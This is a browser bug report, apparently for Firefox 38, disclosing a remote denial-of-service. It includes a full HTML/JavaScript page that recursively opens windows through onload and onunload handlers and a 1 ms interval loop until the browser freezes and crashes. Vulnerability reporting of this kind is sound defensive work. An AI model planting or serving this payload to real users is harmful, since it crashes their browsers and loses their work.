User Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0
Build ID: 20150511103818

Steps to reproduce:

In the last time i tried to find securtiy holes in the current version of Mozilla Firefox because it's my favourit browser.
So after some time i find a bug in the javascript engine which lead to a crash of Firefox after some seconds (Remote DoS).The Browser doesn't respond any longer to any user input, all tabs are no longer accessible. Also memory corruption or code execution might be possible.
I think all Versions are vulnerable.

So here is the HTML Code:

<html>
<script>
var a = ('javascript:"<html><head><title>Damm !</title></head><body onunload=\\"javascript:window.open(window.location);window.open(window.location)\\" onload=\\"javascript:window.open(window.location);window.open(window.location)\\"></body></html>"');
function loop() {window.open(a);setInterval(loop,1);}
</script>
<body onload="javascript:loop()"></body>
</html>




Actual results:

After some seconds Firefox freeze and crash.


Expected results:

A window should appear which ask to stop the running scrip.
